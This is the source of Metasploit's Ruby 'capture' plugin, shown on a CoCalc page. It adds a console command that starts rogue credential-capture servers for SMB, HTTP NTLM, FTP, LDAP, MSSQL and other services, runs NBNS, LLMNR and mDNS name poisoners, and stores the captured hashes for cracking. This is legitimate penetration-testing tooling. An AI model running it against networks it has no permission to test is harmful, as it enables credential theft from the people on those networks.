Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/plugins/capture.rb
28458 views
1
require 'uri'
2
require 'rex/sync/event'
3
require 'fileutils'
4
5
module Msf
6
#
7
# Combines several Metasploit modules related to spoofing names and capturing credentials
8
# into one plugin
9
#
10
class Plugin::Capture < Msf::Plugin
11
12
class ConsoleCommandDispatcher
13
include Msf::Ui::Console::CommandDispatcher
14
15
class CaptureJobListener
16
def initialize(name, done_event, dispatcher)
17
@name = name
18
@done_event = done_event
19
@dispatcher = dispatcher
20
end
21
22
def waiting(_id)
23
self.succeeded = true
24
@dispatcher.print_good("#{@name} started")
25
@done_event.set
26
end
27
28
def start(id); end
29
30
def completed(id, result, mod); end
31
32
def failed(_id, _error, _mod)
33
@dispatcher.print_error("#{@name} failed to start")
34
@done_event.set
35
end
36
37
attr_accessor :succeeded
38
39
end
40
41
HELP_REGEX = /^-?-h(?:elp)?$/.freeze
42
43
def initialize(*args)
44
super(*args)
45
@active_job_ids = {}
46
@active_loggers = {}
47
@stop_opt_parser = Rex::Parser::Arguments.new(
48
'--session' => [ true, 'Session to stop (otherwise all capture jobs on all sessions will be stopped)' ],
49
['-h', '--help'] => [ false, 'Display this message' ]
50
)
51
52
@start_opt_parser = Rex::Parser::Arguments.new(
53
'--session' => [ true, 'Session to bind on' ],
54
['-i', '--ip'] => [ true, 'IP to bind to' ],
55
'--spoofip' => [ true, 'IP to use for spoofing (poisoning); default is the bound IP address' ],
56
'--regex' => [ true, 'Regex to match for spoofing' ],
57
['-b', '--basic'] => [ false, 'Use Basic auth for HTTP listener (default is NTLM)' ],
58
'--cert' => [ true, 'Path to SSL cert for encrypted communication' ],
59
'--configfile' => [ true, 'Path to a config file' ],
60
'--logfile' => [ true, 'Path to store logs' ],
61
'--hashdir' => [ true, 'Directory to store hash results' ],
62
'--stdout' => [ false, 'Show results in stdout' ],
63
['-v', '--verbose'] => [ false, 'Verbose output' ],
64
['-h', '--help'] => [ false, 'Display this message' ]
65
)
66
end
67
68
def name
69
'HashCapture'
70
end
71
72
def commands
73
{
74
'captureg' => 'Start credential capturing services'
75
}
76
end
77
78
# The main handler for the request command.
79
#
80
# @param args [Array<String>] The array of arguments provided by the user.
81
# @return [nil]
82
def cmd_captureg(*args)
83
# short circuit the whole deal if they need help
84
return help if args.empty?
85
return help if args.length == 1 && args.first =~ HELP_REGEX
86
return help(args.last) if args.length == 2 && args.first =~ HELP_REGEX
87
88
begin
89
if args.first == 'stop'
90
listeners_stop(args)
91
return
92
end
93
94
if args.first == 'start'
95
listeners_start(args)
96
return
97
end
98
return help
99
rescue ArgumentError => e
100
print_error(e.message)
101
end
102
end
103
104
def tab_complete_start(str, words)
105
last_word = words[-1]
106
case last_word
107
when '--session'
108
return framework.sessions.keys.map(&:to_s)
109
when '--cert', '--configfile', '--logfile'
110
return tab_complete_filenames(str, words)
111
when '--hashdir'
112
return tab_complete_directory(str, words)
113
when '-i', '--ip', '--spoofip'
114
return tab_complete_source_address
115
116
end
117
118
if @start_opt_parser.arg_required?(last_word)
119
# The previous word needs an argument; we can't provide any help
120
return []
121
end
122
123
# Otherwise, we are expecting another flag next
124
result = @start_opt_parser.option_keys.select { |opt| opt.start_with?(str) }
125
return result
126
end
127
128
def tab_complete_stop(str, words)
129
last_word = words[-1]
130
case last_word
131
when '--session'
132
return framework.sessions.keys.map(&:to_s) + ['local']
133
end
134
if @stop_opt_parser.arg_required?(words[-1])
135
# The previous word needs an argument; we can't provide any help
136
return []
137
end
138
139
@stop_opt_parser.option_keys.select { |opt| opt.start_with?(str) }
140
end
141
142
def cmd_captureg_tabs(str, words)
143
return ['start', 'stop'] if words.length == 1
144
145
if words[1] == 'start'
146
tab_complete_start(str, words)
147
elsif words[1] == 'stop'
148
tab_complete_stop(str, words)
149
end
150
end
151
152
def listeners_start(args)
153
config = parse_start_args(args)
154
if config[:show_help]
155
help('start')
156
return
157
end
158
159
# Make sure there is no capture happening on that session already
160
session = config[:session]
161
if session.nil?
162
session = 'local'
163
end
164
165
if @active_job_ids.key?(session)
166
active_jobs = @active_job_ids[session]
167
168
# If there are active job IDs on this session, we should fail: there's already a capture going on.
169
# Make them stop it first.
170
# The exception is if all jobs have been manually terminated, then let's treat it
171
# as if the capture was stopped, and allow starting now.
172
active_jobs.each do |job_id|
173
next unless framework.jobs.key?(job_id.to_s)
174
175
session_str = ''
176
unless session.nil?
177
session_str = ' on this session'
178
end
179
print_error("A capture is already in progress#{session_str}. Stop the existing capture then restart a new one")
180
return
181
end
182
end
183
184
if @active_loggers.key?(session)
185
logger = @active_loggers[session]
186
logger.close
187
end
188
189
# Start afresh
190
@active_job_ids[session] = []
191
@active_loggers.delete(session)
192
193
transform_params(config)
194
validate_params(config)
195
196
modules = {
197
# Capturing
198
'DRDA' => 'auxiliary/server/capture/drda',
199
'FTP' => 'auxiliary/server/capture/ftp',
200
'IMAP' => 'auxiliary/server/capture/imap',
201
'LDAP' => 'auxiliary/server/capture/ldap',
202
'MSSQL' => 'auxiliary/server/capture/mssql',
203
'MySQL' => 'auxiliary/server/capture/mysql',
204
'POP3' => 'auxiliary/server/capture/pop3',
205
'Postgres' => 'auxiliary/server/capture/postgresql',
206
'PrintJob' => 'auxiliary/server/capture/printjob_capture',
207
'SIP' => 'auxiliary/server/capture/sip',
208
'SMB' => 'auxiliary/server/capture/smb',
209
'SMTP' => 'auxiliary/server/capture/smtp',
210
'Telnet' => 'auxiliary/server/capture/telnet',
211
'VNC' => 'auxiliary/server/capture/vnc',
212
213
# SSL versions
214
'FTPS' => 'auxiliary/server/capture/ftp',
215
'IMAPS' => 'auxiliary/server/capture/imap',
216
'POP3S' => 'auxiliary/server/capture/pop3',
217
'SMTPS' => 'auxiliary/server/capture/smtp',
218
219
# Poisoning
220
# 'DNS' => 'auxiliary/spoof/dns/native_spoofer',
221
'NBNS' => 'auxiliary/spoof/nbns/nbns_response',
222
'LLMNR' => 'auxiliary/spoof/llmnr/llmnr_response',
223
'mDNS' => 'auxiliary/spoof/mdns/mdns_response'
224
# 'WPAD' => 'auxiliary/server/wpad',
225
}
226
227
encrypted = ['HTTPS_NTLM', 'HTTPS_Basic', 'FTPS', 'IMAPS', 'POP3S', 'SMTPS']
228
229
if config[:http_basic]
230
modules['HTTP'] = 'auxiliary/server/capture/http_basic'
231
modules['HTTPS'] = 'auxiliary/server/capture/http_basic'
232
else
233
modules['HTTP'] = 'auxiliary/server/capture/http_ntlm'
234
modules['HTTPS'] = 'auxiliary/server/capture/http_ntlm'
235
end
236
237
modules_to_run = []
238
logfile = config[:logfile]
239
print_line("Logging results to #{logfile}")
240
logdir = ::File.dirname(logfile)
241
FileUtils.mkdir_p(logdir)
242
hashdir = config[:hashdir]
243
print_line("Hash results stored in #{hashdir}")
244
FileUtils.mkdir_p(hashdir)
245
246
if config[:stdout]
247
logger = Rex::Ui::Text::Output::Tee.new(logfile)
248
else
249
logger = Rex::Ui::Text::Output::File.new(logfile, 'ab')
250
end
251
252
@active_loggers[session] = logger
253
254
config[:services].each do |service|
255
svc = service['type']
256
unless service['enabled']
257
# This service turned off in config
258
next
259
end
260
261
module_name = modules[svc]
262
if module_name.nil?
263
print_error("Unknown service: #{svc}")
264
return
265
end
266
267
# Special case for two variants of HTTP
268
if svc.start_with?('HTTP')
269
if config[:http_basic]
270
svc += '_Basic'
271
else
272
svc += '_NTLM'
273
end
274
end
275
276
mod = framework.modules.create(module_name)
277
# Bail if we couldn't
278
unless mod
279
# Error: this should exist
280
load_error = framework.modules.load_error_by_name(module_name)
281
if load_error
282
print_error("Failed to load #{module_name}: #{load_error}")
283
else
284
print_error("Failed to load #{module_name}")
285
end
286
return
287
end
288
289
datastore = {}
290
datastore['SRVHOST'] = config[:srvhost]
291
datastore['JOHNPWFILE'] = File.join(config[:hashdir], "john_#{svc}")
292
293
# Poisoners
294
datastore['SPOOFIP'] = config[:spoof_ip]
295
datastore['SPOOFIP4'] = config[:spoof_ip]
296
datastore['REGEX'] = config[:spoof_regex]
297
datastore['ListenerComm'] = config[:session]
298
299
opts = {}
300
opts['Options'] = datastore
301
opts['RunAsJob'] = true
302
opts['LocalOutput'] = logger
303
if config[:verbose]
304
datastore['VERBOSE'] = true
305
end
306
307
method = "configure_#{svc.downcase}"
308
if respond_to?(method)
309
send(method, datastore, config)
310
end
311
312
if encrypted.include?(svc)
313
configure_tls(datastore, config)
314
end
315
316
# Before running everything, let's do some basic validation of settings
317
mod_dup = mod.replicant
318
mod_dup._import_extra_options(opts)
319
mod_dup.options.validate(mod_dup.datastore)
320
321
modules_to_run.append([svc, mod, opts])
322
end
323
324
modules_to_run.each do |svc, mod, opts|
325
event = Rex::Sync::Event.new(false, false)
326
job_listener = CaptureJobListener.new(mod.name, event, self)
327
328
result = Msf::Simple::Auxiliary.run_simple(mod, opts, job_listener: job_listener)
329
job_id = result[1]
330
331
# Wait for the event to trigger (socket server either waiting, or failed)
332
event.wait
333
next unless job_listener.succeeded
334
335
# Keep track of it so we can close it upon a `stop` command
336
@active_job_ids[session].append(job_id)
337
job = framework.jobs[job_id.to_s]
338
# Rename the job for display (to differentiate between the encrypted/plaintext ones in particular)
339
if config[:session].nil?
340
session_str = 'local'
341
else
342
session_str = "session #{config[:session].to_i}"
343
end
344
job.send(:name=, "Capture (#{session_str}): #{svc}")
345
end
346
347
print_good('Started capture jobs')
348
end
349
350
def listeners_stop(args)
351
options = parse_stop_args(args)
352
if options[:show_help]
353
help('stop')
354
return
355
end
356
357
session = options[:session]
358
job_id_clone = @active_job_ids.clone
359
job_id_clone.each do |session_id, jobs|
360
next unless session.nil? || session == session_id
361
362
jobs.each do |job_id|
363
framework.jobs.stop_job(job_id) unless framework.jobs[job_id.to_s].nil?
364
end
365
jobs.clear
366
@active_job_ids.delete(session_id)
367
end
368
369
loggers_clone = @active_loggers.clone
370
loggers_clone.each do |session_id, logger|
371
if session.nil? || session == session_id
372
logger.close
373
@active_loggers.delete(session_id)
374
end
375
end
376
377
print_line('Capture listeners stopped')
378
end
379
380
# Print the appropriate help text depending on an optional option parser.
381
#
382
# @param first_arg [String] the first argument to this command
383
# @return [nil]
384
def help(first_arg = nil)
385
if first_arg == 'start'
386
print_line('Usage: captureg start -i <ip> [options]')
387
print_line(@start_opt_parser.usage)
388
elsif first_arg == 'stop'
389
print_line('Usage: captureg stop [options]')
390
print_line(@stop_opt_parser.usage)
391
else
392
print_line('Usage: captureg [start|stop] [options]')
393
print_line('')
394
print_line('Use captureg --help [start|stop] for more detailed usage help')
395
end
396
end
397
398
def default_options
399
{
400
ntlm_challenge: nil,
401
ntlm_domain: nil,
402
services: {},
403
spoof_ip: nil,
404
spoof_regex: '.*',
405
srvhost: nil,
406
http_basic: false,
407
session: nil,
408
ssl_cert: nil,
409
verbose: false,
410
show_help: false,
411
stdout: false,
412
logfile: nil,
413
hashdir: nil
414
}
415
end
416
417
def default_logfile(options)
418
session = 'local'
419
session = options[:session].to_s unless options[:session].nil?
420
421
name = "capture_#{session}_#{Time.now.strftime('%Y%m%d%H%M%S')}_#{Rex::Text.rand_text_numeric(6)}.txt"
422
File.join(Msf::Config.log_directory, "captures/#{name}")
423
end
424
425
def default_hashdir(options)
426
session = 'local'
427
session = options[:session].to_s unless options[:session].nil?
428
429
name = "capture_#{session}_#{Time.now.strftime('%Y%m%d%H%M%S')}_#{Rex::Text.rand_text_numeric(6)}"
430
File.join(Msf::Config.loot_directory, "captures/#{name}")
431
end
432
433
def read_config(filename)
434
options = {}
435
File.open(filename, 'rb') do |f|
436
yamlconf = YAML.safe_load(f)
437
options = {
438
ntlm_challenge: yamlconf['ntlm_challenge'],
439
ntlm_domain: yamlconf['ntlm_domain'],
440
services: yamlconf['services'],
441
spoof_regex: yamlconf['spoof_regex'],
442
http_basic: yamlconf['http_basic'],
443
ssl_cert: yamlconf['ssl_cert'],
444
logfile: yamlconf['logfile'],
445
hashdir: yamlconf['hashdir']
446
}
447
end
448
end
449
450
def parse_stop_args(args)
451
options = {
452
session: nil,
453
show_help: false
454
}
455
456
@start_opt_parser.parse(args) do |opt, _idx, val|
457
case opt
458
when '--session'
459
options[:session] = val
460
when '-h'
461
options[:show_help] = true
462
end
463
end
464
465
options
466
end
467
468
def parse_start_args(args)
469
config_file = File.join(Msf::Config.config_directory, 'capture_config.yaml')
470
# See if there was a config file set
471
@start_opt_parser.parse(args) do |opt, _idx, val|
472
case opt
473
when '--configfile'
474
config_file = val
475
end
476
end
477
478
options = default_options
479
config_options = read_config(config_file)
480
options = options.merge(config_options)
481
482
@start_opt_parser.parse(args) do |opt, _idx, val|
483
case opt
484
when '--session'
485
options[:session] = val
486
when '-i', '--ip'
487
options[:srvhost] = val
488
when '--spoofip'
489
options[:spoof_ip] = val
490
when '--regex'
491
options[:spoof_regex] = val
492
when '-v', '--verbose'
493
options[:verbose] = true
494
when '--basic', '-b'
495
options[:http_basic] = true
496
when '--cert'
497
options[:ssl_cert] = val
498
when '--stdout'
499
options[:stdout] = true
500
when '--logfile'
501
options[:logfile] = val
502
when '--hashdir'
503
options[:hashdir] = val
504
when '-h', '--help'
505
options[:show_help] = true
506
end
507
end
508
509
options
510
end
511
512
def poison_included(options)
513
poisoners = ['mDNS', 'LLMNR', 'NBNS']
514
options[:services].each do |svc|
515
if svc['enabled'] && poisoners.member?(svc['type'])
516
return true
517
end
518
end
519
false
520
end
521
522
# Fill in implied parameters to make the running code neater
523
def transform_params(options)
524
# If we've been given a specific IP to listen on, use that as our poisoning IP
525
if options[:spoof_ip].nil? && Rex::Socket.is_ip_addr?(options[:srvhost]) && Rex::Socket.addr_atoi(options[:srvhost]) != 0
526
options[:spoof_ip] = options[:srvhost]
527
end
528
529
unless options[:session].nil?
530
options[:session] = framework.sessions.get(options[:session])&.sid
531
# UDP is not supported on remote sessions
532
udp = ['NBNS', 'LLMNR', 'mDNS', 'SIP']
533
options[:services].each do |svc|
534
if svc['enabled'] && udp.member?(svc['type'])
535
print_line("Skipping #{svc['type']}: UDP server not supported over a remote session")
536
svc['enabled'] = false
537
end
538
end
539
end
540
541
if options[:logfile].nil?
542
options[:logfile] = default_logfile(options)
543
end
544
545
if options[:hashdir].nil?
546
options[:hashdir] = default_hashdir(options)
547
end
548
end
549
550
def validate_params(options)
551
unless options[:srvhost] && Rex::Socket.is_ip_addr?(options[:srvhost])
552
raise ArgumentError, 'Must provide a valid IP address to listen on'
553
end
554
# If we're running poisoning (which is disabled remotely, so excluding that situation),
555
# we need either a specific srvhost to use, or a specific spoof IP
556
if options[:spoof_ip].nil? && poison_included(options)
557
raise ArgumentError, 'Must provide a specific IP address to use for poisoning'
558
end
559
unless Rex::Socket.is_ip_addr?(options[:spoof_ip])
560
raise ArgumentError, 'Spoof IP must be a valid IP address'
561
end
562
unless options[:ssl_cert].nil? || File.file?(options[:ssl_cert])
563
raise ArgumentError, "File #{options[:ssl_cert]} not found"
564
end
565
unless options[:session].nil? || framework.sessions.get(options[:session])
566
raise ArgumentError, "Session #{options[:session].to_i} not found"
567
end
568
end
569
570
def configure_tls(datastore, config)
571
datastore['SSL'] = true
572
datastore['SSLCert'] = config[:ssl_cert]
573
end
574
575
def configure_smb(datastore, config)
576
datastore['SMBDOMAIN'] = config[:ntlm_domain]
577
datastore['CHALLENGE'] = config[:ntlm_challenge]
578
end
579
580
def configure_ldap(datastore, config)
581
datastore['DOMAIN'] = config[:ntlm_domain]
582
datastore['CHALLENGE'] = config[:ntlm_challenge]
583
end
584
585
def configure_mssql(datastore, config)
586
datastore['DOMAIN_NAME'] = config[:ntlm_domain]
587
datastore['CHALLENGE'] = config[:ntlm_challenge]
588
end
589
590
def configure_http_ntlm(datastore, config)
591
datastore['DOMAIN'] = config[:ntlm_domain]
592
datastore['CHALLENGE'] = config[:ntlm_challenge]
593
datastore['SRVPORT'] = 80
594
datastore['URIPATH'] = '/'
595
end
596
597
def configure_http_basic(datastore, _config)
598
datastore['URIPATH'] = '/'
599
end
600
601
def configure_https_basic(datastore, _config)
602
datastore['SRVPORT'] = 443
603
datastore['URIPATH'] = '/'
604
end
605
606
def configure_https_ntlm(datastore, config)
607
datastore['DOMAIN'] = config[:ntlm_domain]
608
datastore['CHALLENGE'] = config[:ntlm_challenge]
609
datastore['SRVPORT'] = 443
610
datastore['URIPATH'] = '/'
611
end
612
613
def configure_ftps(datastore, _config)
614
datastore['SRVPORT'] = 990
615
end
616
617
def configure_imaps(datastore, _config)
618
datastore['SRVPORT'] = 993
619
end
620
621
def configure_pop3s(datastore, _config)
622
datastore['SRVPORT'] = 995
623
end
624
625
def configure_smtps(datastore, _config)
626
datastore['SRVPORT'] = 587
627
end
628
end
629
630
def initialize(framework, opts)
631
super
632
add_console_dispatcher(ConsoleCommandDispatcher)
633
filename = 'capture_config.yaml'
634
user_config_file = File.join(Msf::Config.config_directory, filename)
635
unless File.exist?(user_config_file)
636
# Initialise user config file with the installed one
637
base_config_file = File.join(Msf::Config.data_directory, filename)
638
unless File.exist?(base_config_file)
639
print_error('Plugin config file not found!')
640
return
641
end
642
FileUtils.cp(base_config_file, user_config_file)
643
end
644
end
645
646
def cleanup
647
remove_console_dispatcher('HashCapture')
648
end
649
650
def name
651
'Credential Capture'
652
end
653
654
def desc
655
'Start all credential capture and spoofing services'
656
end
657
658
end
659
end
660
661